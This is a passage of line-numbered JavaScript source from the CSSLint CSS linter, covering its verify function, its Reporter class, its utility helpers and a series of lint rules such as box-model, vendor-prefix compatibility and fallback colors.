7761 * @return {Object} Results of the verification.
7762 * @method verify
7763 */
7764 api.verify = function(text, ruleset) {
7765
7766 var i = 0,
7767 reporter,
7768 lines,
7769 allow = {},
7770 ignore = [],
7771 report,
7772 parser = new parserlib.css.Parser({
7773 starHack: true,
7774 ieFilters: true,
7775 underscoreHack: true,
7776 strict: false
7777 });
7778
7779 // normalize line endings
7780 lines = text.replace(/\n\r?/g, "$split$").split("$split$");
7781
7782 // find 'allow' comments
7783 CSSLint.Util.forEach(lines, function (line, lineno) {
7784 var allowLine = line && line.match(/\/\*[ \t]*csslint[ \t]+allow:[ \t]*([^\*]*)\*\//i),
7785 allowRules = allowLine && allowLine[1],
7786 allowRuleset = {};
7787
7788 if (allowRules) {
7789 allowRules.toLowerCase().split(",").forEach(function(allowRule) {
7790 allowRuleset[allowRule.trim()] = true;
7791 });
7792 if (Object.keys(allowRuleset).length > 0) {
7793 allow[lineno + 1] = allowRuleset;
7794 }
7795 }
7796 });
7797
7798 var ignoreStart = null,
7799 ignoreEnd = null;
7800 CSSLint.Util.forEach(lines, function (line, lineno) {
7801 // Keep oldest, "unclosest" ignore:start
7802 if (ignoreStart === null && line.match(/\/\*[ \t]*csslint[ \t]+ignore:start[ \t]*\*\//i)) {
7803 ignoreStart = lineno;
7804 }
7805
7806 if (line.match(/\/\*[ \t]*csslint[ \t]+ignore:end[ \t]*\*\//i)) {
7807 ignoreEnd = lineno;
7808 }
7809
7810 if (ignoreStart !== null && ignoreEnd !== null) {
7811 ignore.push([ignoreStart, ignoreEnd]);
7812 ignoreStart = ignoreEnd = null;
7813 }
7814 });
7815
7816 // Close remaining ignore block, if any
7817 if (ignoreStart !== null) {
7818 ignore.push([ignoreStart, lines.length]);
7819 }
7820
7821 if (!ruleset) {
7822 ruleset = this.getRuleset();
7823 }
7824
7825 if (embeddedRuleset.test(text)) {
7826 // defensively copy so that caller's version does not get modified
7827 ruleset = clone(ruleset);
7828 ruleset = applyEmbeddedRuleset(text, ruleset);
7829 }
7830
7831 reporter = new Reporter(lines, ruleset, allow, ignore);
7832
7833 ruleset.errors = 2; // always report parsing errors as errors
7834 for (i in ruleset) {
7835 if (ruleset.hasOwnProperty(i) && ruleset[i]) {
7836 if (rules[i]) {
7837 rules[i].init(parser, reporter);
7838 }
7839 }
7840 }
7841
7842
7843 // capture most horrible error type
7844 try {
7845 parser.parse(text);
7846 } catch (ex) {
7847 reporter.error("Fatal error, cannot continue: " + ex.message, ex.line, ex.col, {});
7848 }
7849
7850 report = {
7851 messages : reporter.messages,
7852 stats : reporter.stats,
7853 ruleset : reporter.ruleset,
7854 allow : reporter.allow,
7855 ignore : reporter.ignore
7856 };
7857
7858 // sort by line numbers, rollups at the bottom
7859 report.messages.sort(function (a, b) {
7860 if (a.rollup && !b.rollup) {
7861 return 1;
7862 } else if (!a.rollup && b.rollup) {
7863 return -1;
7864 } else {
7865 return a.line - b.line;
7866 }
7867 });
7868
7869 return report;
7870 };
7871
7872 //-------------------------------------------------------------------------
7873 // Publish the API
7874 //-------------------------------------------------------------------------
7875
7876 return api;
7877
7878})();
7879
7880/**
7881 * An instance of Report is used to report results of the
7882 * verification back to the main API.
7883 * @class Reporter
7884 * @constructor
7885 * @param {String[]} lines The text lines of the source.
7886 * @param {Object} ruleset The set of rules to work with, including if
7887 * they are errors or warnings.
7888 * @param {Object} explicitly allowed lines
7889 * @param {[][]} ingore list of line ranges to be ignored
7890 */
7891function Reporter(lines, ruleset, allow, ignore) {
7892 "use strict";
7893
7894 /**
7895 * List of messages being reported.
7896 * @property messages
7897 * @type String[]
7898 */
7899 this.messages = [];
7900
7901 /**
7902 * List of statistics being reported.
7903 * @property stats
7904 * @type String[]
7905 */
7906 this.stats = [];
7907
7908 /**
7909 * Lines of code being reported on. Used to provide contextual information
7910 * for messages.
7911 * @property lines
7912 * @type String[]
7913 */
7914 this.lines = lines;
7915
7916 /**
7917 * Information about the rules. Used to determine whether an issue is an
7918 * error or warning.
7919 * @property ruleset
7920 * @type Object
7921 */
7922 this.ruleset = ruleset;
7923
7924 /**
7925 * Lines with specific rule messages to leave out of the report.
7926 * @property allow
7927 * @type Object
7928 */
7929 this.allow = allow;
7930 if (!this.allow) {
7931 this.allow = {};
7932 }
7933
7934 /**
7935 * Linesets not to include in the report.
7936 * @property ignore
7937 * @type [][]
7938 */
7939 this.ignore = ignore;
7940 if (!this.ignore) {
7941 this.ignore = [];
7942 }
7943}
7944
7945Reporter.prototype = {
7946
7947 // restore constructor
7948 constructor: Reporter,
7949
7950 /**
7951 * Report an error.
7952 * @param {String} message The message to store.
7953 * @param {int} line The line number.
7954 * @param {int} col The column number.
7955 * @param {Object} rule The rule this message relates to.
7956 * @method error
7957 */
7958 error: function(message, line, col, rule) {
7959 "use strict";
7960 this.messages.push({
7961 type : "error",
7962 line : line,
7963 col : col,
7964 message : message,
7965 evidence: this.lines[line-1],
7966 rule : rule || {}
7967 });
7968 },
7969
7970 /**
7971 * Report an warning.
7972 * @param {String} message The message to store.
7973 * @param {int} line The line number.
7974 * @param {int} col The column number.
7975 * @param {Object} rule The rule this message relates to.
7976 * @method warn
7977 * @deprecated Use report instead.
7978 */
7979 warn: function(message, line, col, rule) {
7980 "use strict";
7981 this.report(message, line, col, rule);
7982 },
7983
7984 /**
7985 * Report an issue.
7986 * @param {String} message The message to store.
7987 * @param {int} line The line number.
7988 * @param {int} col The column number.
7989 * @param {Object} rule The rule this message relates to.
7990 * @method report
7991 */
7992 report: function(message, line, col, rule) {
7993 "use strict";
7994
7995 // Check if rule violation should be allowed
7996 if (this.allow.hasOwnProperty(line) && this.allow[line].hasOwnProperty(rule.id)) {
7997 return;
7998 }
7999
8000 var ignore = false;
8001 CSSLint.Util.forEach(this.ignore, function (range) {
8002 if (range[0] <= line && line <= range[1]) {
8003 ignore = true;
8004 }
8005 });
8006 if (ignore) {
8007 return;
8008 }
8009
8010 this.messages.push({
8011 type : this.ruleset[rule.id] === 2 ? "error" : "warning",
8012 line : line,
8013 col : col,
8014 message : message,
8015 evidence: this.lines[line-1],
8016 rule : rule
8017 });
8018 },
8019
8020 /**
8021 * Report some informational text.
8022 * @param {String} message The message to store.
8023 * @param {int} line The line number.
8024 * @param {int} col The column number.
8025 * @param {Object} rule The rule this message relates to.
8026 * @method info
8027 */
8028 info: function(message, line, col, rule) {
8029 "use strict";
8030 this.messages.push({
8031 type : "info",
8032 line : line,
8033 col : col,
8034 message : message,
8035 evidence: this.lines[line-1],
8036 rule : rule
8037 });
8038 },
8039
8040 /**
8041 * Report some rollup error information.
8042 * @param {String} message The message to store.
8043 * @param {Object} rule The rule this message relates to.
8044 * @method rollupError
8045 */
8046 rollupError: function(message, rule) {
8047 "use strict";
8048 this.messages.push({
8049 type : "error",
8050 rollup : true,
8051 message : message,
8052 rule : rule
8053 });
8054 },
8055
8056 /**
8057 * Report some rollup warning information.
8058 * @param {String} message The message to store.
8059 * @param {Object} rule The rule this message relates to.
8060 * @method rollupWarn
8061 */
8062 rollupWarn: function(message, rule) {
8063 "use strict";
8064 this.messages.push({
8065 type : "warning",
8066 rollup : true,
8067 message : message,
8068 rule : rule
8069 });
8070 },
8071
8072 /**
8073 * Report a statistic.
8074 * @param {String} name The name of the stat to store.
8075 * @param {Variant} value The value of the stat.
8076 * @method stat
8077 */
8078 stat: function(name, value) {
8079 "use strict";
8080 this.stats[name] = value;
8081 }
8082};
8083
8084// expose for testing purposes
8085CSSLint._Reporter = Reporter;
8086
8087/*
8088 * Utility functions that make life easier.
8089 */
8090CSSLint.Util = {
8091 /*
8092 * Adds all properties from supplier onto receiver,
8093 * overwriting if the same name already exists on
8094 * receiver.
8095 * @param {Object} The object to receive the properties.
8096 * @param {Object} The object to provide the properties.
8097 * @return {Object} The receiver
8098 */
8099 mix: function(receiver, supplier) {
8100 "use strict";
8101 var prop;
8102
8103 for (prop in supplier) {
8104 if (supplier.hasOwnProperty(prop)) {
8105 receiver[prop] = supplier[prop];
8106 }
8107 }
8108
8109 return prop;
8110 },
8111
8112 /*
8113 * Polyfill for array indexOf() method.
8114 * @param {Array} values The array to search.
8115 * @param {Variant} value The value to search for.
8116 * @return {int} The index of the value if found, -1 if not.
8117 */
8118 indexOf: function(values, value) {
8119 "use strict";
8120 if (values.indexOf) {
8121 return values.indexOf(value);
8122 } else {
8123 for (var i=0, len=values.length; i < len; i++) {
8124 if (values[i] === value) {
8125 return i;
8126 }
8127 }
8128 return -1;
8129 }
8130 },
8131
8132 /*
8133 * Polyfill for array forEach() method.
8134 * @param {Array} values The array to operate on.
8135 * @param {Function} func The function to call on each item.
8136 * @return {void}
8137 */
8138 forEach: function(values, func) {
8139 "use strict";
8140 if (values.forEach) {
8141 return values.forEach(func);
8142 } else {
8143 for (var i=0, len=values.length; i < len; i++) {
8144 func(values[i], i, values);
8145 }
8146 }
8147 }
8148};
8149
8150/*
8151 * Rule: Don't use adjoining classes (.foo.bar).
8152 */
8153
8154CSSLint.addRule({
8155
8156 // rule information
8157 id: "adjoining-classes",
8158 name: "Disallow adjoining classes",
8159 desc: "Don't use adjoining classes.",
8160 url: "https://github.com/CSSLint/csslint/wiki/Disallow-adjoining-classes",
8161 browsers: "IE6",
8162
8163 // initialization
8164 init: function(parser, reporter) {
8165 "use strict";
8166 var rule = this;
8167 parser.addListener("startrule", function(event) {
8168 var selectors = event.selectors,
8169 selector,
8170 part,
8171 modifier,
8172 classCount,
8173 i, j, k;
8174
8175 for (i=0; i < selectors.length; i++) {
8176 selector = selectors[i];
8177 for (j=0; j < selector.parts.length; j++) {
8178 part = selector.parts[j];
8179 if (part.type === parser.SELECTOR_PART_TYPE) {
8180 classCount = 0;
8181 for (k=0; k < part.modifiers.length; k++) {
8182 modifier = part.modifiers[k];
8183 if (modifier.type === "class") {
8184 classCount++;
8185 }
8186 if (classCount > 1){
8187 reporter.report("Adjoining classes: "+selectors[i].text, part.line, part.col, rule);
8188 }
8189 }
8190 }
8191 }
8192 }
8193 });
8194 }
8195
8196});
8197
8198/*
8199 * Rule: Don't use width or height when using padding or border.
8200 */
8201CSSLint.addRule({
8202
8203 // rule information
8204 id: "box-model",
8205 name: "Beware of broken box size",
8206 desc: "Don't use width or height when using padding or border.",
8207 url: "https://github.com/CSSLint/csslint/wiki/Beware-of-box-model-size",
8208 browsers: "All",
8209
8210 // initialization
8211 init: function(parser, reporter) {
8212 "use strict";
8213 var rule = this,
8214 widthProperties = {
8215 border: 1,
8216 "border-left": 1,
8217 "border-right": 1,
8218 padding: 1,
8219 "padding-left": 1,
8220 "padding-right": 1
8221 },
8222 heightProperties = {
8223 border: 1,
8224 "border-bottom": 1,
8225 "border-top": 1,
8226 padding: 1,
8227 "padding-bottom": 1,
8228 "padding-top": 1
8229 },
8230 properties,
8231 boxSizing = false;
8232
8233 function startRule() {
8234 properties = {};
8235 boxSizing = false;
8236 }
8237
8238 function endRule() {
8239 var prop, value;
8240
8241 if (!boxSizing) {
8242 if (properties.height) {
8243 for (prop in heightProperties) {
8244 if (heightProperties.hasOwnProperty(prop) && properties[prop]) {
8245 value = properties[prop].value;
8246 // special case for padding
8247 if (!(prop === "padding" && value.parts.length === 2 && value.parts[0].value === 0)) {
8248 reporter.report("Using height with " + prop + " can sometimes make elements larger than you expect.", properties[prop].line, properties[prop].col, rule);
8249 }
8250 }
8251 }
8252 }
8253
8254 if (properties.width) {
8255 for (prop in widthProperties) {
8256 if (widthProperties.hasOwnProperty(prop) && properties[prop]) {
8257 value = properties[prop].value;
8258
8259 if (!(prop === "padding" && value.parts.length === 2 && value.parts[1].value === 0)) {
8260 reporter.report("Using width with " + prop + " can sometimes make elements larger than you expect.", properties[prop].line, properties[prop].col, rule);
8261 }
8262 }
8263 }
8264 }
8265 }
8266 }
8267
8268 parser.addListener("startrule", startRule);
8269 parser.addListener("startfontface", startRule);
8270 parser.addListener("startpage", startRule);
8271 parser.addListener("startpagemargin", startRule);
8272 parser.addListener("startkeyframerule", startRule);
8273 parser.addListener("startviewport", startRule);
8274
8275 parser.addListener("property", function(event) {
8276 var name = event.property.text.toLowerCase();
8277
8278 if (heightProperties[name] || widthProperties[name]) {
8279 if (!/^0\S*$/.test(event.value) && !(name === "border" && event.value.toString() === "none")) {
8280 properties[name] = {
8281 line: event.property.line,
8282 col: event.property.col,
8283 value: event.value
8284 };
8285 }
8286 } else {
8287 if (/^(width|height)/i.test(name) && /^(length|percentage)/.test(event.value.parts[0].type)) {
8288 properties[name] = 1;
8289 } else if (name === "box-sizing") {
8290 boxSizing = true;
8291 }
8292 }
8293
8294 });
8295
8296 parser.addListener("endrule", endRule);
8297 parser.addListener("endfontface", endRule);
8298 parser.addListener("endpage", endRule);
8299 parser.addListener("endpagemargin", endRule);
8300 parser.addListener("endkeyframerule", endRule);
8301 parser.addListener("endviewport", endRule);
8302 }
8303
8304});
8305
8306/*
8307 * Rule: box-sizing doesn't work in IE6 and IE7.
8308 */
8309
8310CSSLint.addRule({
8311
8312 // rule information
8313 id: "box-sizing",
8314 name: "Disallow use of box-sizing",
8315 desc: "The box-sizing properties isn't supported in IE6 and IE7.",
8316 url: "https://github.com/CSSLint/csslint/wiki/Disallow-box-sizing",
8317 browsers: "IE6, IE7",
8318 tags: ["Compatibility"],
8319
8320 // initialization
8321 init: function(parser, reporter) {
8322 "use strict";
8323 var rule = this;
8324
8325 parser.addListener("property", function(event) {
8326 var name = event.property.text.toLowerCase();
8327
8328 if (name === "box-sizing") {
8329 reporter.report("The box-sizing property isn't supported in IE6 and IE7.", event.line, event.col, rule);
8330 }
8331 });
8332 }
8333
8334});
8335
8336/*
8337 * Rule: Use the bulletproof @font-face syntax to avoid 404's in old IE
8338 * (http://www.fontspring.com/blog/the-new-bulletproof-font-face-syntax)
8339 */
8340
8341CSSLint.addRule({
8342
8343 // rule information
8344 id: "bulletproof-font-face",
8345 name: "Use the bulletproof @font-face syntax",
8346 desc: "Use the bulletproof @font-face syntax to avoid 404's in old IE (http://www.fontspring.com/blog/the-new-bulletproof-font-face-syntax).",
8347 url: "https://github.com/CSSLint/csslint/wiki/Bulletproof-font-face",
8348 browsers: "All",
8349
8350 // initialization
8351 init: function(parser, reporter) {
8352 "use strict";
8353 var rule = this,
8354 fontFaceRule = false,
8355 firstSrc = true,
8356 ruleFailed = false,
8357 line, col;
8358
8359 // Mark the start of a @font-face declaration so we only test properties inside it
8360 parser.addListener("startfontface", function() {
8361 fontFaceRule = true;
8362 });
8363
8364 parser.addListener("property", function(event) {
8365 // If we aren't inside an @font-face declaration then just return
8366 if (!fontFaceRule) {
8367 return;
8368 }
8369
8370 var propertyName = event.property.toString().toLowerCase(),
8371 value = event.value.toString();
8372
8373 // Set the line and col numbers for use in the endfontface listener
8374 line = event.line;
8375 col = event.col;
8376
8377 // This is the property that we care about, we can ignore the rest
8378 if (propertyName === "src") {
8379 var regex = /^\s?url\(['"].+\.eot\?.*['"]\)\s*format\(['"]embedded-opentype['"]\).*$/i;
8380
8381 // We need to handle the advanced syntax with two src properties
8382 if (!value.match(regex) && firstSrc) {
8383 ruleFailed = true;
8384 firstSrc = false;
8385 } else if (value.match(regex) && !firstSrc) {
8386 ruleFailed = false;
8387 }
8388 }
8389
8390
8391 });
8392
8393 // Back to normal rules that we don't need to test
8394 parser.addListener("endfontface", function() {
8395 fontFaceRule = false;
8396
8397 if (ruleFailed) {
8398 reporter.report("@font-face declaration doesn't follow the fontspring bulletproof syntax.", line, col, rule);
8399 }
8400 });
8401 }
8402});
8403
8404/*
8405 * Rule: Include all compatible vendor prefixes to reach a wider
8406 * range of users.
8407 */
8408
8409CSSLint.addRule({
8410
8411 // rule information
8412 id: "compatible-vendor-prefixes",
8413 name: "Require compatible vendor prefixes",
8414 desc: "Include all compatible vendor prefixes to reach a wider range of users.",
8415 url: "https://github.com/CSSLint/csslint/wiki/Require-compatible-vendor-prefixes",
8416 browsers: "All",
8417
8418 // initialization
8419 init: function (parser, reporter) {
8420 "use strict";
8421 var rule = this,
8422 compatiblePrefixes,
8423 properties,
8424 prop,
8425 variations,
8426 prefixed,
8427 i,
8428 len,
8429 inKeyFrame = false,
8430 arrayPush = Array.prototype.push,
8431 applyTo = [];
8432
8433 // See http://peter.sh/experiments/vendor-prefixed-css-property-overview/ for details
8434 compatiblePrefixes = {
8435 "animation" : "webkit",
8436 "animation-delay" : "webkit",
8437 "animation-direction" : "webkit",
8438 "animation-duration" : "webkit",
8439 "animation-fill-mode" : "webkit",
8440 "animation-iteration-count" : "webkit",
8441 "animation-name" : "webkit",
8442 "animation-play-state" : "webkit",
8443 "animation-timing-function" : "webkit",
8444 "appearance" : "webkit moz",
8445 "border-end" : "webkit moz",
8446 "border-end-color" : "webkit moz",
8447 "border-end-style" : "webkit moz",
8448 "border-end-width" : "webkit moz",
8449 "border-image" : "webkit moz o",
8450 "border-radius" : "webkit",
8451 "border-start" : "webkit moz",
8452 "border-start-color" : "webkit moz",
8453 "border-start-style" : "webkit moz",
8454 "border-start-width" : "webkit moz",
8455 "box-align" : "webkit moz ms",
8456 "box-direction" : "webkit moz ms",
8457 "box-flex" : "webkit moz ms",
8458 "box-lines" : "webkit ms",
8459 "box-ordinal-group" : "webkit moz ms",
8460 "box-orient" : "webkit moz ms",
8461 "box-pack" : "webkit moz ms",
8462 "box-sizing" : "",
8463 "box-shadow" : "",
8464 "column-count" : "webkit moz ms",
8465 "column-gap" : "webkit moz ms",
8466 "column-rule" : "webkit moz ms",
8467 "column-rule-color" : "webkit moz ms",
8468 "column-rule-style" : "webkit moz ms",
8469 "column-rule-width" : "webkit moz ms",
8470 "column-width" : "webkit moz ms",
8471 "hyphens" : "epub moz",
8472 "line-break" : "webkit ms",
8473 "margin-end" : "webkit moz",
8474 "margin-start" : "webkit moz",
8475 "marquee-speed" : "webkit wap",
8476 "marquee-style" : "webkit wap",
8477 "padding-end" : "webkit moz",
8478 "padding-start" : "webkit moz",
8479 "tab-size" : "moz o",
8480 "text-size-adjust" : "webkit ms",
8481 "transform" : "webkit ms",
8482 "transform-origin" : "webkit ms",
8483 "transition" : "",
8484 "transition-delay" : "",
8485 "transition-duration" : "",
8486 "transition-property" : "",
8487 "transition-timing-function" : "",
8488 "user-modify" : "webkit moz",
8489 "user-select" : "webkit moz ms",
8490 "word-break" : "epub ms",
8491 "writing-mode" : "epub ms"
8492 };
8493
8494
8495 for (prop in compatiblePrefixes) {
8496 if (compatiblePrefixes.hasOwnProperty(prop)) {
8497 variations = [];
8498 prefixed = compatiblePrefixes[prop].split(" ");
8499 for (i = 0, len = prefixed.length; i < len; i++) {
8500 variations.push("-" + prefixed[i] + "-" + prop);
8501 }
8502 compatiblePrefixes[prop] = variations;
8503 arrayPush.apply(applyTo, variations);
8504 }
8505 }
8506
8507 parser.addListener("startrule", function () {
8508 properties = [];
8509 });
8510
8511 parser.addListener("startkeyframes", function (event) {
8512 inKeyFrame = event.prefix || true;
8513 });
8514
8515 parser.addListener("endkeyframes", function () {
8516 inKeyFrame = false;
8517 });
8518
8519 parser.addListener("property", function (event) {
8520 var name = event.property;
8521 if (CSSLint.Util.indexOf(applyTo, name.text) > -1) {
8522
8523 // e.g., -moz-transform is okay to be alone in @-moz-keyframes
8524 if (!inKeyFrame || typeof inKeyFrame !== "string" ||
8525 name.text.indexOf("-" + inKeyFrame + "-") !== 0) {
8526 properties.push(name);
8527 }
8528 }
8529 });
8530
8531 parser.addListener("endrule", function () {
8532 if (!properties.length) {
8533 return;
8534 }
8535
8536 var propertyGroups = {},
8537 i,
8538 len,
8539 name,
8540 prop,
8541 variations,
8542 value,
8543 full,
8544 actual,
8545 item,
8546 propertiesSpecified;
8547
8548 for (i = 0, len = properties.length; i < len; i++) {
8549 name = properties[i];
8550
8551 for (prop in compatiblePrefixes) {
8552 if (compatiblePrefixes.hasOwnProperty(prop)) {
8553 variations = compatiblePrefixes[prop];
8554 if (CSSLint.Util.indexOf(variations, name.text) > -1) {
8555 if (!propertyGroups[prop]) {
8556 propertyGroups[prop] = {
8557 full: variations.slice(0),
8558 actual: [],
8559 actualNodes: []
8560 };
8561 }
8562 if (CSSLint.Util.indexOf(propertyGroups[prop].actual, name.text) === -1) {
8563 propertyGroups[prop].actual.push(name.text);
8564 propertyGroups[prop].actualNodes.push(name);
8565 }
8566 }
8567 }
8568 }
8569 }
8570
8571 for (prop in propertyGroups) {
8572 if (propertyGroups.hasOwnProperty(prop)) {
8573 value = propertyGroups[prop];
8574 full = value.full;
8575 actual = value.actual;
8576
8577 if (full.length > actual.length) {
8578 for (i = 0, len = full.length; i < len; i++) {
8579 item = full[i];
8580 if (CSSLint.Util.indexOf(actual, item) === -1) {
8581 propertiesSpecified = (actual.length === 1) ? actual[0] : (actual.length === 2) ? actual.join(" and ") : actual.join(", ");
8582 reporter.report("The property " + item + " is compatible with " + propertiesSpecified + " and should be included as well.", value.actualNodes[0].line, value.actualNodes[0].col, rule);
8583 }
8584 }
8585
8586 }
8587 }
8588 }
8589 });
8590 }
8591});
8592
8593/*
8594 * Rule: Certain properties don't play well with certain display values.
8595 * - float should not be used with inline-block
8596 * - height, width, margin-top, margin-bottom, float should not be used with inline
8597 * - vertical-align should not be used with block
8598 * - margin, float should not be used with table-*
8599 */
8600
8601CSSLint.addRule({
8602
8603 // rule information
8604 id: "display-property-grouping",
8605 name: "Require properties appropriate for display",
8606 desc: "Certain properties shouldn't be used with certain display property values.",
8607 url: "https://github.com/CSSLint/csslint/wiki/Require-properties-appropriate-for-display",
8608 browsers: "All",
8609
8610 // initialization
8611 init: function(parser, reporter) {
8612 "use strict";
8613 var rule = this;
8614
8615 var propertiesToCheck = {
8616 display: 1,
8617 "float": "none",
8618 height: 1,
8619 width: 1,
8620 margin: 1,
8621 "margin-left": 1,
8622 "margin-right": 1,
8623 "margin-bottom": 1,
8624 "margin-top": 1,
8625 padding: 1,
8626 "padding-left": 1,
8627 "padding-right": 1,
8628 "padding-bottom": 1,
8629 "padding-top": 1,
8630 "vertical-align": 1
8631 },
8632 properties;
8633
8634 function reportProperty(name, display, msg) {
8635 if (properties[name]) {
8636 if (typeof propertiesToCheck[name] !== "string" || properties[name].value.toLowerCase() !== propertiesToCheck[name]) {
8637 reporter.report(msg || name + " can't be used with display: " + display + ".", properties[name].line, properties[name].col, rule);
8638 }
8639 }
8640 }
8641
8642 function startRule() {
8643 properties = {};
8644 }
8645
8646 function endRule() {
8647
8648 var display = properties.display ? properties.display.value : null;
8649 if (display) {
8650 switch (display) {
8651
8652 case "inline":
8653 // height, width, margin-top, margin-bottom, float should not be used with inline
8654 reportProperty("height", display);
8655 reportProperty("width", display);
8656 reportProperty("margin", display);
8657 reportProperty("margin-top", display);
8658 reportProperty("margin-bottom", display);
8659 reportProperty("float", display, "display:inline has no effect on floated elements (but may be used to fix the IE6 double-margin bug).");
8660 break;
8661
8662 case "block":
8663 // vertical-align should not be used with block
8664 reportProperty("vertical-align", display);
8665 break;
8666
8667 case "inline-block":
8668 // float should not be used with inline-block
8669 reportProperty("float", display);
8670 break;
8671
8672 default:
8673 // margin, float should not be used with table
8674 if (display.indexOf("table-") === 0) {
8675 reportProperty("margin", display);
8676 reportProperty("margin-left", display);
8677 reportProperty("margin-right", display);
8678 reportProperty("margin-top", display);
8679 reportProperty("margin-bottom", display);
8680 reportProperty("float", display);
8681 }
8682
8683 // otherwise do nothing
8684 }
8685 }
8686
8687 }
8688
8689 parser.addListener("startrule", startRule);
8690 parser.addListener("startfontface", startRule);
8691 parser.addListener("startkeyframerule", startRule);
8692 parser.addListener("startpagemargin", startRule);
8693 parser.addListener("startpage", startRule);
8694 parser.addListener("startviewport", startRule);
8695
8696 parser.addListener("property", function(event) {
8697 var name = event.property.text.toLowerCase();
8698
8699 if (propertiesToCheck[name]) {
8700 properties[name] = {
8701 value: event.value.text,
8702 line: event.property.line,
8703 col: event.property.col
8704 };
8705 }
8706 });
8707
8708 parser.addListener("endrule", endRule);
8709 parser.addListener("endfontface", endRule);
8710 parser.addListener("endkeyframerule", endRule);
8711 parser.addListener("endpagemargin", endRule);
8712 parser.addListener("endpage", endRule);
8713 parser.addListener("endviewport", endRule);
8714
8715 }
8716
8717});
8718
8719/*
8720 * Rule: Disallow duplicate background-images (using url).
8721 */
8722
8723CSSLint.addRule({
8724
8725 // rule information
8726 id: "duplicate-background-images",
8727 name: "Disallow duplicate background images",
8728 desc: "Every background-image should be unique. Use a common class for e.g. sprites.",
8729 url: "https://github.com/CSSLint/csslint/wiki/Disallow-duplicate-background-images",
8730 browsers: "All",
8731
8732 // initialization
8733 init: function(parser, reporter) {
8734 "use strict";
8735 var rule = this,
8736 stack = {};
8737
8738 parser.addListener("property", function(event) {
8739 var name = event.property.text,
8740 value = event.value,
8741 i, len;
8742
8743 if (name.match(/background/i)) {
8744 for (i=0, len=value.parts.length; i < len; i++) {
8745 if (value.parts[i].type === "uri") {
8746 if (typeof stack[value.parts[i].uri] === "undefined") {
8747 stack[value.parts[i].uri] = event;
8748 } else {
8749 reporter.report("Background image '" + value.parts[i].uri + "' was used multiple times, first declared at line " + stack[value.parts[i].uri].line + ", col " + stack[value.parts[i].uri].col + ".", event.line, event.col, rule);
8750 }
8751 }
8752 }
8753 }
8754 });
8755 }
8756});
8757
8758/*
8759 * Rule: Duplicate properties must appear one after the other. If an already-defined
8760 * property appears somewhere else in the rule, then it's likely an error.
8761 */
8762
8763CSSLint.addRule({
8764
8765 // rule information
8766 id: "duplicate-properties",
8767 name: "Disallow duplicate properties",
8768 desc: "Duplicate properties must appear one after the other.",
8769 url: "https://github.com/CSSLint/csslint/wiki/Disallow-duplicate-properties",
8770 browsers: "All",
8771
8772 // initialization
8773 init: function(parser, reporter) {
8774 "use strict";
8775 var rule = this,
8776 properties,
8777 lastProperty;
8778
8779 function startRule() {
8780 properties = {};
8781 }
8782
8783 parser.addListener("startrule", startRule);
8784 parser.addListener("startfontface", startRule);
8785 parser.addListener("startpage", startRule);
8786 parser.addListener("startpagemargin", startRule);
8787 parser.addListener("startkeyframerule", startRule);
8788 parser.addListener("startviewport", startRule);
8789
8790 parser.addListener("property", function(event) {
8791 var property = event.property,
8792 name = property.text.toLowerCase();
8793
8794 if (properties[name] && (lastProperty !== name || properties[name] === event.value.text)) {
8795 reporter.report("Duplicate property '" + event.property + "' found.", event.line, event.col, rule);
8796 }
8797
8798 properties[name] = event.value.text;
8799 lastProperty = name;
8800
8801 });
8802
8803
8804 }
8805
8806});
8807
8808/*
8809 * Rule: Style rules without any properties defined should be removed.
8810 */
8811
8812CSSLint.addRule({
8813
8814 // rule information
8815 id: "empty-rules",
8816 name: "Disallow empty rules",
8817 desc: "Rules without any properties specified should be removed.",
8818 url: "https://github.com/CSSLint/csslint/wiki/Disallow-empty-rules",
8819 browsers: "All",
8820
8821 // initialization
8822 init: function(parser, reporter) {
8823 "use strict";
8824 var rule = this,
8825 count = 0;
8826
8827 parser.addListener("startrule", function() {
8828 count=0;
8829 });
8830
8831 parser.addListener("property", function() {
8832 count++;
8833 });
8834
8835 parser.addListener("endrule", function(event) {
8836 var selectors = event.selectors;
8837 if (count === 0) {
8838 reporter.report("Rule is empty.", selectors[0].line, selectors[0].col, rule);
8839 }
8840 });
8841 }
8842
8843});
8844
8845/*
8846 * Rule: There should be no syntax errors. (Duh.)
8847 */
8848
8849CSSLint.addRule({
8850
8851 // rule information
8852 id: "errors",
8853 name: "Parsing Errors",
8854 desc: "This rule looks for recoverable syntax errors.",
8855 browsers: "All",
8856
8857 // initialization
8858 init: function(parser, reporter) {
8859 "use strict";
8860 var rule = this;
8861
8862 parser.addListener("error", function(event) {
8863 reporter.error(event.message, event.line, event.col, rule);
8864 });
8865
8866 }
8867
8868});
8869
8870CSSLint.addRule({
8871
8872 // rule information
8873 id: "fallback-colors",
8874 name: "Require fallback colors",
8875 desc: "For older browsers that don't support RGBA, HSL, or HSLA, provide a fallback color.",
8876 url: "https://github.com/CSSLint/csslint/wiki/Require-fallback-colors",
8877 browsers: "IE6,IE7,IE8",
8878
8879 // initialization
8880 init: function(parser, reporter) {
8881 "use strict";
8882 var rule = this,
8883 lastProperty,
8884 propertiesToCheck = {
8885 color: 1,
8886 background: 1,
8887 "border-color": 1,
8888 "border-top-color": 1,
8889 "border-right-color": 1,
8890 "border-bottom-color": 1,
8891 "border-left-color": 1,
8892 border: 1,
8893 "border-top": 1,
8894 "border-right": 1,
8895 "border-bottom": 1,
8896 "border-left": 1,
8897 "background-color": 1
8898 };
8899
8900 function startRule() {
8901 lastProperty = null;
8902 }
8903
8904 parser.addListener("startrule", startRule);
8905 parser.addListener("startfontface", startRule);
8906 parser.addListener("startpage", startRule);
8907 parser.addListener("startpagemargin", startRule);
8908 parser.addListener("startkeyframerule", startRule);
8909 parser.addListener("startviewport", startRule);
8910
8911 parser.addListener("property", function(event) {
8912 var property = event.property,
8913 name = property.text.toLowerCase(),
8914 parts = event.value.parts,
8915 i = 0,
8916 colorType = "",
8917 len = parts.length;
8918
8919 if (propertiesToCheck[name]) {
8920 while (i < len) {
8921 if (parts[i].type === "color") {
8922 if ("alpha" in parts[i] || "hue" in parts[i]) {
8923
8924 if (/([^\)]+)\(/.test(parts[i])) {
8925 colorType = RegExp.$1.toUpperCase();
8926 }
8927
8928 if (!lastProperty || (lastProperty.property.text.toLowerCase() !== name || lastProperty.colorType !== "compat")) {
8929 reporter.report("Fallback " + name + " (hex or RGB) should precede " + colorType + " " + name + ".", event.line, event.col, rule);
8930 }
8931 } else {
8932 event.colorType = "compat";
8933 }
8934 }
8935
8936 i++;
8937 }
8938 }
8939
8940 lastProperty = event;
8941 });
8942
8943 }
8944
8945});
8946
8947/*
8948 * Rule: You shouldn't use more than 10 floats. If you do, there's probably
8949 * room for some abstraction.
8950 */
8951
